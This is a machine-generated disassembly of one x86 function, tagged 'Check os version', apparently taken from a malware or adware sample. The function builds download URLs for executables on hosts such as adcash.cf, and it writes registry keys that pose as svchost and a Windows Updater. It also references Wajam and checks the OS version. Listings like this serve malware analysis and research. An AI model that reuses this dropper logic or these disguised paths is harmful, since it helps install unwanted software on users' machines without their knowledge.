Function at 0x4058a0
Capabilities:
Check os version

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x433ceb
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x188
mov eax, dword [0x44d080]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
xorps xmm0, xmm0
mov dword [ebp - 0x3c], 0
movq qword [ebp - 0x44], xmm0
mov dword [ebp - 0x194], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 4], 0
movq qword [ebp - 0x20], xmm0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
push ecx
xor edx, edx
mov byte [ebp - 4], 1
xor ecx, ecx
call fcn.0040ccd0
mov eax, dword [ebp - 0x20]
add esp, 4
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x38]
push str.adcash.cf
push str.http:__www._s_20190118_svchost.exe
push eax
call fcn.0040fe00
add esp, 0xc
push 0x90
mov byte [ebp - 4], 2
call fcn.00419c80
mov esi, eax
add esp, 4
mov dword [ebp - 0x190], esi
push 0x90
push 0
push esi
mov byte [ebp - 4], 3
call fcn.0041bd40
sub esp, 0xc
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x180], esp
push eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push 0x44263c
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 4
lea eax, [ebp - 0x38]
mov dword [ebp - 0x184], esp
mov ecx, esp
push eax
call fcn.0040b290
sub esp, 0x18
mov byte [ebp - 4], 5
mov ecx, esp
mov dword [ebp - 0x188], esp
xor eax, eax
push 0x24
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.596B2F23_3FE6_41D8_A039_3C1842C5AB14
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 6
mov ecx, esp
xor eax, eax
push 7
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
mov word [ecx], ax
push str.svchost
call fcn.0040b840
mov ecx, esi
mov byte [ebp - 4], 3
call fcn.00416bb0
mov esi, eax
mov byte [ebp - 4], 2
push 7
xor eax, eax
mov dword [ebp - 0x168], 0
push str.svchost
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x164], 7
mov word [ebp - 0x178], ax
call fcn.0040b840
lea eax, [ebp - 0x178]
mov byte [ebp - 4], 7
add edi, 0xac
push eax
mov ecx, edi
call fcn.0040afc0
mov byte [ebp - 4], 2
mov dword [eax], esi
mov edx, dword [ebp - 0x164]
cmp edx, 8
jb 0x405ac5
mov ecx, dword [ebp - 0x178]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x405abb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406ba8
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x29
xor eax, eax
mov dword [ebp - 0x168], 0
push str.SoftwareMicrosoftWindowsUpdater_svchost
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x164], 7
mov word [ebp - 0x178], ax
call fcn.0040b840
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], eax
je 0x405b32
movups xmm0, xmmword [ebp - 0x178]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x168]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x1c], 0x18
mov word [ebp - 0x178], ax
jmp 0x405b48
lea ecx, [ebp - 0x178]
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca30
mov edx, dword [ebp - 0x164]
mov byte [ebp - 4], 2
cmp edx, 8
jb 0x405b86
mov ecx, dword [ebp - 0x178]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x405b7c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406bad
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 7
xor eax, eax
mov dword [ebp - 0x168], 0
push str.svchost
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x164], 7
mov word [ebp - 0x178], ax
call fcn.0040b840
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x18c], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x188], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x184], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x20]
mov dword [ebp - 0x180], esp
mov ecx, esp
push eax
call fcn.0040b140
lea eax, [ebp - 0x178]
mov byte [ebp - 4], 0xd
push eax
mov ecx, edi
call fcn.0040afc0
mov byte [ebp - 4], 9
mov ecx, dword [eax]
call fcn.00417440
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x164]
cmp edx, 8
jb 0x405c8b
mov ecx, dword [ebp - 0x178]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x405c81
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406bb2
push edx
push ecx
call fcn.00419f4a
add esp, 8
mov edx, dword [ebp - 0x1c]
push ecx
mov ecx, dword [ebp - 0x20]
call fcn.0040ccd0
mov eax, dword [ebp - 0x20]
add esp, 4
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x178]
push str.adcash.cf
push str.http:__www._s_20190118_multishare.exe
push eax
call fcn.0040fe00
mov esi, eax
add esp, 0xc
lea eax, [ebp - 0x38]
cmp eax, esi
je 0x405ced
mov ecx, eax
call fcn.004014b0
movups xmm0, xmmword [esi]
xor eax, eax
movups xmmword [ebp - 0x38], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x28], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
mov edx, dword [ebp - 0x164]
cmp edx, 8
jb 0x405d2d
mov ecx, dword [ebp - 0x178]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x405d23
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406bb7
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x90
call fcn.00419c80
mov esi, eax
add esp, 4
mov dword [ebp - 0x18c], esi
push 0x90
push 0
push esi
mov byte [ebp - 4], 0xe
call fcn.0041bd40
sub esp, 0xc
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x188], esp
push eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push 0x44263c
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x38]
mov dword [ebp - 0x184], esp
mov ecx, esp
push eax
call fcn.0040b290
sub esp, 0x18
mov byte [ebp - 4], 0x10
mov ecx, esp
mov dword [ebp - 0x180], esp
xor eax, eax
push 1
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push 0x444118
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0x11
mov ecx, esp
xor eax, eax
push 0xa
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.multishare
mov word [ecx], ax
call fcn.0040b840
mov ecx, esi
mov byte [ebp - 4], 0xe
call fcn.00416bb0
mov esi, eax
mov byte [ebp - 4], 2
push 0xa
xor eax, eax
mov dword [ebp - 0x168], 0
push str.multishare
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x164], 7
mov word [ebp - 0x178], ax
call fcn.0040b840
lea eax, [ebp - 0x178]
mov byte [ebp - 4], 0x12
push eax
mov ecx, edi
call fcn.0040afc0
mov byte [ebp - 4], 2
mov dword [eax], esi
mov edx, dword [ebp - 0x164]
cmp edx, 8
jb 0x405e82
mov ecx, dword [ebp - 0x178]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x405e78
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406bbc
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x22
xor eax, eax
mov dword [ebp - 0x168], 0
push str.SoftwareWindowsUpdatermultishare
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x164], 7
mov word [ebp - 0x178], ax
call fcn.0040b840
mov byte [ebp - 4], 0x13
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], eax
je 0x405eef
movups xmm0, xmmword [ebp - 0x178]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x168]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x1c], 0x18
mov word [ebp - 0x178], ax
jmp 0x405f05
lea ecx, [ebp - 0x178]
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca30
mov edx, dword [ebp - 0x164]
mov byte [ebp - 4], 2
cmp edx, 8
jb 0x405f43
mov ecx, dword [ebp - 0x178]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x405f39
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406bc1
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x2c
xor eax, eax
mov dword [ebp - 0x168], 0
push str.SoftwareMicrosoftWindowsUpdatermultishare
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x164], 7
mov word [ebp - 0x178], ax
call fcn.0040b840
mov byte [ebp - 4], 0x14
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], eax
je 0x405fb0
movups xmm0, xmmword [ebp - 0x178]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x168]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x1c], 0x18
mov word [ebp - 0x178], ax
jmp 0x405fc6
lea ecx, [ebp - 0x178]
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca30
mov edx, dword [ebp - 0x164]
mov byte [ebp - 4], 2
cmp edx, 8
jb 0x406004
mov ecx, dword [ebp - 0x178]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x405ffa
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406bc6
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0xa
xor eax, eax
mov dword [ebp - 0x168], 0
push str.multishare
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x164], 7
mov word [ebp - 0x178], ax
call fcn.0040b840
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x18c], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x188], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x184], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x20]
mov dword [ebp - 0x180], esp
mov ecx, esp
push eax
call fcn.0040b140
lea eax, [ebp - 0x178]
mov byte [ebp - 4], 0x19
push eax
mov ecx, edi
call fcn.0040afc0
mov byte [ebp - 4], 0x15
mov ecx, dword [eax]
call fcn.00417440
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x164]
cmp edx, 8
jb 0x406109
mov ecx, dword [ebp - 0x178]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4060ff
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406bcb
push edx
push ecx
call fcn.00419f4a
add esp, 8
push ecx
xor edx, edx
xor ecx, ecx
call fcn.0040ccd0
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x40], 0
call fcn.0040ccd0
mov eax, dword [ebp - 0x20]
add esp, 4
mov dword [ebp - 0x1c], eax
push 0
call fcn.00420eaf
add esp, 4
push eax
call fcn.004204d0
add esp, 4
call fcn.004204af
and eax, 0x80000001
jns 0x406154
dec eax
or eax, 0xfffffffe
add eax, 1
push 0x90
jne 0x4062c9
call fcn.00419c80
mov esi, eax
add esp, 4
mov dword [ebp - 0x18c], esi
push 0x90
push 0
push esi
mov byte [ebp - 4], 0x1a
call fcn.0041bd40
sub esp, 0xc
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x188], esp
push 0xa
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.Sttp13.exe
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0x1b
mov ecx, esp
mov dword [ebp - 0x184], esp
xor eax, eax
push 0x6d
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.http:__www.technologieberri.com_s2s_install.exe_trackingeyJhaWQiOiI0MDIwIiwiZG9udF91c2VfcG9zdCI6InRydWUifQ
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0x1c
mov ecx, esp
mov dword [ebp - 0x180], esp
xor eax, eax
push 0x37
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str._S_eyJhaWQiOiI0MDIwIiwiZG9udF91c2VfcG9zdCI6InRydWUifQ
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0x1d
mov ecx, esp
xor eax, eax
push 5
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.Wajam
mov word [ecx], ax
call fcn.0040b840
mov ecx, esi
mov byte [ebp - 4], 0x1a
call fcn.00416bb0
mov esi, eax
mov byte [ebp - 4], 2
push 5
xor eax, eax
mov dword [ebp - 0x168], 0
push str.Wajam
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x164], 7
mov word [ebp - 0x178], ax
call fcn.0040b840
lea eax, [ebp - 0x178]
mov byte [ebp - 4], 0x1e
push eax
mov ecx, edi
call fcn.0040afc0
mov byte [ebp - 4], 2
mov dword [eax], esi
mov edx, dword [ebp - 0x164]
cmp edx, 8
jb 0x406430
mov ecx, dword [ebp - 0x178]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x406426
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406bd0
jmp 0x406426
call fcn.00419c80
mov esi, eax
add esp, 4
mov dword [ebp - 0x18c], esi
push 0x90
push 0
push esi
mov byte [ebp - 4], 0x1f
call fcn.0041bd40
sub esp, 0xc
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x188], esp
push 0xa
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.Sttp13.exe
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0x20
mov ecx, esp
mov dword [ebp - 0x184], esp
xor eax, eax
push 0x65
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.http:__install_apps.com_s2s_install.exe_trackingeyJhaWQiOiI0MDIxIiwiZG9udF91c2VfcG9zdCI6InRydWUifQ
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0x21
mov ecx, esp
mov dword [ebp - 0x180], esp
xor eax, eax
push 0x37
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str._S_eyJhaWQiOiI0MDIxIiwiZG9udF91c2VfcG9zdCI6InRydWUifQ
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0x22
mov ecx, esp
xor eax, eax
push 5
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.Wajam
mov word [ecx], ax
call fcn.0040b840
mov ecx, esi
mov byte [ebp - 4], 0x1f
call fcn.00416bb0
mov esi, eax
mov byte [ebp - 4], 2
push 5
xor eax, eax
mov dword [ebp - 0x168], 0
push str.Wajam
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x164], 7
mov word [ebp - 0x178], ax
call fcn.0040b840
lea eax, [ebp - 0x178]
mov byte [ebp - 4], 0x23
push eax
mov ecx, edi
call fcn.0040afc0
mov byte [ebp - 4], 2
mov dword [eax], esi
mov edx, dword [ebp - 0x164]
cmp edx, 8
jb 0x406430
mov ecx, dword [ebp - 0x178]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x406426
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406bd5
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x14
xor eax, eax
mov dword [ebp - 0x168], 0
push str.SoftwareWajIEnhance
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x164], 7
mov word [ebp - 0x178], ax
call fcn.0040b840
mov byte [ebp - 4], 0x24
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], eax
je 0x40649d
movups xmm0, xmmword [ebp - 0x178]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x168]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x1c], 0x18
mov word [ebp - 0x178], ax
jmp 0x4064b3
lea ecx, [ebp - 0x178]
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca30
mov edx, dword [ebp - 0x164]
mov byte [ebp - 4], 2
cmp edx, 8
jb 0x4064f1
mov ecx, dword [ebp - 0x178]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4064e7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406bda
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 5
xor eax, eax
mov dword [ebp - 0x168], 0
push str.Wajam
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x164], 7
mov word [ebp - 0x178], ax
call fcn.0040b840
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x18c], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x188], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov byte [ebp - 4], 0x27
lea eax, [ebp - 0x44]
mov dword [ebp - 0x184], esp
mov ecx, esp
push eax
call fcn.0040b140
sub esp, 0xc
mov byte [ebp - 4], 0x28
lea eax, [ebp - 0x20]
mov dword [ebp - 0x180], esp
mov ecx, esp
push eax
call fcn.0040b140
lea eax, [ebp - 0x178]
mov byte [ebp - 4], 0x29
push eax
mov ecx, edi
call fcn.0040afc0
mov byte [ebp - 4], 0x25
mov ecx, dword [eax]
call fcn.00417440
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x164]
cmp edx, 8
jb 0x4065ef
mov ecx, dword [ebp - 0x178]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4065e5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406bdf
push edx
push ecx
call fcn.00419f4a
add esp, 8
push pe_nt_image_headers32
lea eax, [ebp - 0x15c]
push 0
push eax
call fcn.0041bd40
add esp, 0xc
mov dword [ebp - 0x160], 0x114
lea eax, [ebp - 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x406655
cmp dword [ebp - 0x15c], 5
je 0x406655
lea ecx, [ebp - 0x178]
call fcn.00410ca0
mov edx, 0x443c88
mov dword [ebp - 0x194], 1
mov ecx, eax
call fcn.0040c9e0
mov byte [ebp - 0x179], 1
test al, al
jne 0x40665c
mov byte [ebp - 0x179], 0
test byte [ebp - 0x194], 1
je 0x4066a5
mov edx, dword [ebp - 0x164]
cmp edx, 8
jb 0x4066a5
mov ecx, dword [ebp - 0x178]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40669b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406be4
push edx
push ecx
call fcn.00419f4a
add esp, 8
cmp byte [ebp - 0x179], 0
je 0x406b2c
mov edx, dword [ebp - 0x1c]
push ecx
mov ecx, dword [ebp - 0x20]
call fcn.0040ccd0
mov eax, dword [ebp - 0x20]
add esp, 4
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x178]
push str.adcash.cf
push str.http:__www._s_20190118_pushbot.exe
push eax
call fcn.0040fe00
mov esi, eax
add esp, 0xc
lea eax, [ebp - 0x38]
cmp eax, esi
je 0x406714
mov ecx, eax
call fcn.004014b0
movups xmm0, xmmword [esi]
xor eax, eax
movups xmmword [ebp - 0x38], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x28], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
mov edx, dword [ebp - 0x164]
cmp edx, 8
jb 0x406754
mov ecx, dword [ebp - 0x178]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40674a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406be9
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x90
call fcn.00419c80
mov esi, eax
add esp, 4
mov dword [ebp - 0x18c], esi
push 0x90
push 0
push esi
mov byte [ebp - 4], 0x2a
call fcn.0041bd40
sub esp, 0xc
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x188], esp
push eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push 0x44263c
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x38]
mov dword [ebp - 0x184], esp
mov ecx, esp
push eax
call fcn.0040b290
sub esp, 0x18
mov byte [ebp - 4], 0x2c
mov ecx, esp
mov dword [ebp - 0x180], esp
xor eax, eax
push 0x24
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.66533DF7_E752_427C_84AB_C8548FDE6A3D
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0x2d
mov ecx, esp
xor eax, eax
push 7
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.pushbot
mov word [ecx], ax
call fcn.0040b840
mov ecx, esi
mov byte [ebp - 4], 0x2a
call fcn.00416bb0
mov esi, eax
mov byte [ebp - 4], 2
push 7
xor eax, eax
mov dword [ebp - 0x168], 0
push str.pushbot
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x164], 7
mov word [ebp - 0x178], ax
call fcn.0040b840
lea eax, [ebp - 0x178]
mov byte [ebp - 4], 0x2e
push eax
mov ecx, edi
call fcn.0040afc0
mov byte [ebp - 4], 2
mov dword [eax], esi
mov edx, dword [ebp - 0x164]
cmp edx, 8
jb 0x4068a9
mov ecx, dword [ebp - 0x178]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40689f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406bee
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x11
xor eax, eax
mov dword [ebp - 0x168], 0
push str.Softwarepushbot2
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x164], 7
mov word [ebp - 0x178], ax
call fcn.0040b840
mov byte [ebp - 4], 0x2f
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], eax
je 0x406916
movups xmm0, xmmword [ebp - 0x178]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x168]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x1c], 0x18
mov word [ebp - 0x178], ax
jmp 0x40692c
lea ecx, [ebp - 0x178]
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca30
mov edx, dword [ebp - 0x164]
mov byte [ebp - 4], 2
cmp edx, 8
jb 0x40696a
mov ecx, dword [ebp - 0x178]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x406960
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406bf3
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x29
xor eax, eax
mov dword [ebp - 0x168], 0
push str.SoftwareMicrosoftWindowsUpdaterpushbot
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x164], 7
mov word [ebp - 0x178], ax
call fcn.0040b840
mov byte [ebp - 4], 0x30
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], eax
je 0x4069d7
movups xmm0, xmmword [ebp - 0x178]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x168]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x1c], 0x18
mov word [ebp - 0x178], ax
jmp 0x4069ed
lea ecx, [ebp - 0x178]
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca30
mov edx, dword [ebp - 0x164]
mov byte [ebp - 4], 2
cmp edx, 8
jb 0x406a2b
mov ecx, dword [ebp - 0x178]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x406a21
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406bf8
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 7
xor eax, eax
mov dword [ebp - 0x168], 0
push str.pushbot
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x164], 7
mov word [ebp - 0x178], ax
call fcn.0040b840
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x18c], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x188], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x184], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x20]
mov dword [ebp - 0x180], esp
mov ecx, esp
push eax
call fcn.0040b140
lea eax, [ebp - 0x178]
mov byte [ebp - 4], 0x35
push eax
mov ecx, edi
call fcn.0040afc0
mov byte [ebp - 4], 0x31
mov ecx, dword [eax]
call fcn.00417440
mov edx, dword [ebp - 0x164]
cmp edx, 8
jb 0x406b2c
mov ecx, dword [ebp - 0x178]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x406b22
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406bfd
push edx
push ecx
call fcn.00419f4a
add esp, 8
mov edx, dword [ebp - 0x24]
cmp edx, 8
jb 0x406b66
mov ecx, dword [ebp - 0x38]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x406b5c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406c02
push edx
push ecx
call fcn.00419f4a
add esp, 8
xor eax, eax
mov dword [ebp - 0x28], 0
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x24], 7
mov word [ebp - 0x38], ax
call fcn.0040b540
lea ecx, [ebp - 0x44]
call fcn.0040b540
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00419c6a
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
int3